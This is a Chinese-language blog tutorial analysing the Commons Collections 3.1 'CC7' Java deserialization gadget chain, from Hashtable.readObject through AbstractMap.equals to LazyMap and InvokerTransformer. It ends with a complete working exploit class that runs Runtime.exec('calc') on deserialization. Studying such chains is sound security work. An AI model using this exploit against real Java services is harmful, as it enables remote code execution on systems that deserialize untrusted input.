版本:jdk8u25
依赖:Apache Commons Collections 3.1
1 2 3 4 5 6 7 <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> </dependencies>
cc7链子详解 对cc6链子的复习 在上上次我们学习了cc6触发链子,我们取前半部分,为:
LazyMap.get->ChainedTransformer.transform->InvokeTransformer.transform
而这次的cc7利用链的后半部分和这条一模一样
cc7链子分析 就跟往常一样,我们查找谁调用了LazyMap.get这个函数
直接定位到java.util.AbstractMap类的equals函数:
equals 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public boolean equals(Object o) { if (o == this) return true; if (!(o instanceof Map)) return false; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null) { if (!(m.get(key)==null && m.containsKey(key))) return false; } else { if (!value.equals(m.get(key))) return false; } } } catch (ClassCastException unused) { return false; } catch (NullPointerException unused) { return false; } return true; }
获取实参o,如果o完全等于调用者(AbstractMap),返回true
如果不相等则判断o是否为map的实例,如果不是,返回false
接着判断o的长度是否等于调用者(AbstractMao)的长度,如果不是,则返回false
接着获取调用者(AbstractMao)的键值组为i,循环获取i的键值为key和value,如果value不为空,则调用m的get函数,m就是输入的o的Map实例化
那么分析到这就可以结束了,已经找到了想要的函数,那么整理一下现在的限制
输入的o要是恶意LazyMap实例
LazyMap的实例长度要和调用者的长度相同
最好还要注意一点,这个类是抽象类,是不能实例化的,我们得找到他的子类且没有equals函数才能顺利调用到
那么HashMap类就是一个完美的选择,既是他的子类,有没有equals函数(HashMap.java里的equals函数是Node节点定义的,不是HashMap定义的)
那么接着往下,查看谁调用了equals函数
调用非常多,我们直接定位到org.apache.commons.collections.map.AbstractMapDecorator类,查看里面的equals函数
1 2 3 4 5 6 public boolean equals(Object object) { if (object == this) { return true; } return map.equals(object); }
这个函数就很完美了,如果输入的object不等于调用者,就调用map属性的equals函数,那么看看map属性是否可控
1 2 3 4 5 6 public AbstractMapDecorator(Map map) { if (map == null) { throw new IllegalArgumentException("Map must not be null"); } this.map = map; }
公有构造函数直接赋值了,完全可控
同样的,这个类还是抽象类,没办法实例化,我们换成LazyMap类,是它的子类,还没有equals函数
那么再查找谁调用了AbstractMapDecorator的equals函数,我们定位到java.util.Hashtable这个类,查看reconstitutionPut这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException{ if (value == null) { throw new java.io.StreamCorruptedException(); } // Makes sure the key is not already in the hashtable. // This should not happen in deserialized version. int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(); } } // Creates the new entry. @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry<>(hash, key, value, e); count++; }
解析一下,传入键值对数组,以及key和value,如果value是空,就抛出异常
调用key的hashcode函数,返回内容赋值给hash
让hash和0x7FFFFFFF进行与运算,之后再与键值数组(tab)的长度进行求余,并把结果赋值给index
接着从index索引开始一个一个从tab里面取键值e,如果e的hash属性(这个hash是类的属性)和前面算出来的hash相等,就调用这个键值对的key的equals函数
那么就找到目标了—-这个key应该赋值成我们的恶意AbstractMapDecortor类
最后把key和value插入到键值对tab当中,并把前面的hash值赋值给这个Entry
我们再查看AbstractMapDecorto的hashCode函数
AbstractMapDecortor.hashCode 1 2 3 public int hashCode() { return map.hashCode(); }
返回map.hashCode的返回,记得我们上面讲的目标不,map理应赋值成我们的AbstractMap,再查看这个类的hashCode函数:
AbstractMap.hashCode 1 2 3 4 5 6 7 public int hashCode() { int h = 0; Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) h += i.next().hashCode(); return h; }
返回调用迭代器的hashCode函数,所有的加起来返回,这个个迭代器是我们HashMap迭代器,调用的理应是HashMap的hashCode
HashMap.hashCode 1 2 3 public final int hashCode() { return Objects.hashCode(key) ^ Objects.hashCode(value); }
调用Objects.hashCode对key和value继续操作,那我们再查看Object.hashCode
Objects.hashCode 1 2 3 public static int hashCode(Object o) { return o != null ? o.hashCode() : 0; }
调用输入实例的hashCode,正常习惯下,我们会把的键值设置成String
String.hashCode 1 2 3 4 5 6 7 8 9 10 11 12 public int hashCode() { int h = hash; if (h == 0 && value.length > 0) { char val[] = value; for (int i = 0; i < value.length; i++) { h = 31 * h + val[i]; } hash = h; } return h; }
这种算法下有一个特例:”yy”和”zZ”的返回值是一样的,都是3872,那么我们只要保证value一样就能保证异或出来的值一样
那么继续查找谁调用到了reconstitutionPut这个函数,直接在HashTable类下的readObject就能找到:
readObject 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); int origlength = s.readInt(); int elements = s.readInt(); int length = (int)(elements * loadFactor) + (elements / 20) + 3; if (length > elements && (length & 1) == 0) length--; if (origlength > 0 && length > origlength) length = origlength; table = new Entry<?,?>[length]; threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1); count = 0; for (; elements > 0; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); reconstitutionPut(table, key, value); } }
解析一下代码:
首先读取原始哈希表的大小,根据 elements 和 loadFactor 计算新的哈希表大小 length,并进行优化:
确保 length 为奇数
限制 length 不能超过 origlength
创建新的哈希表数组 table 并计算扩容阈值 threshold。,最后重置 count 计数器,准备插入数据。
这个table是不能完全可控的,至少第一次是,他会在调用一次reconstitutionPut后插入新的元素
我们只需要让他调用两次,在第二次调用的时候保证reconstitutionPut函数内部计算出的hash和index一样就能成功调用接下来的rce链子
调用两次的话我们得保证HashTable拥有两个元素即可,即插入两个元素不同的AbstractMapDecortor,即两个AbstractMapDecortor的map属性要不相等
那么献上exp:
exp.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 package test; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.AbstractMapDecorator; import org.apache.commons.collections.map.HashedMap; import org.apache.commons.collections.map.LazyMap; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.*; public class exp { public static void main(String[] args) throws Exception{ ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class); InvokerTransformer invokerTransformer1=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}); InvokerTransformer invokerTransformer2=new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}); InvokerTransformer invokerTransformer3=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); Transformer[] transformers=new Transformer[]{constantTransformer,invokerTransformer1,invokerTransformer2,invokerTransformer3}; Transformer chainedTransformer=new ChainedTransformer(transformers); Map map=new HashedMap(); Class clazz=Class.forName("org.apache.commons.collections.map.LazyMap"); Constructor constructor=clazz.getDeclaredConstructor(Map.class, Transformer.class); constructor.setAccessible(true); HashMap abstractMap1=new HashMap(); HashMap abstractMap2=new HashMap(); LazyMap abstractMapDecorator1= (LazyMap) constructor.newInstance(abstractMap1,new ConstantTransformer(Runtime.class)); LazyMap abstractMapDecorator2= (LazyMap) constructor.newInstance(abstractMap2,new ConstantTransformer(Runtime.class)); //保证两个abstractMapDecorator元素不同 abstractMapDecorator1.put("yy","Nebu1ea"); abstractMapDecorator2.put("zZ","Nebu1ea"); Hashtable hashtable=new Hashtable(); hashtable.put(abstractMapDecorator1,"1"); hashtable.put(abstractMapDecorator2,"1"); abstractMapDecorator2.remove("yy"); Field field=abstractMapDecorator2.getClass().getDeclaredField("factory"); field.setAccessible(true); field.set(abstractMapDecorator2,chainedTransformer); //序列化 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(hashtable); byteArrayOutputStream.flush(); byte[] bytes = byteArrayOutputStream.toByteArray(); //反序列化 ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } }
那么有人可能注意到了,为啥我要多写一行abstractMapDecorator2.remove("yy");,又为啥要用反射修改把恶意链子输入到AbstractMapDecortor中去呢?是要避开什么吗
答案是在这两行:
1 2 hashtable.put(abstractMapDecorator1,"1"); hashtable.put(abstractMapDecorator2,"1");
当我们第一次往HashTable里面put元素的时候不会发生什么,但是第二次,HashTable就要保证put的元素不同而调用键值的equals函数
按上面的例子就是abstractMapDecorator1.equals(abstractMapDecorator1)
那么就会直接提前触发链子,我们不得不把剩下的恶意链子留到后面再加进去,那为啥又要把”yy”给remove掉呢?
答案是提前触发链子到LazyMap的get函数时,LazyMap调用了put函数把”yy”和transform的返回值给放到abstractMapDecorator2里面去了,如下图
那么问题全都解决了,召唤计算机
结语 cc7算是cc链合集中最难的一个了,我在审计代码的时候卡在了几个比较搞笑的地方
第一个就是HashMap.java的equals函数了,当时没看全是Node类的,琢磨了半天T_T
第二个就是我妄想用整形来实现异或相等,最后发现根本不可能
不过好在问题全都解决了
就此结束,Ciallo~~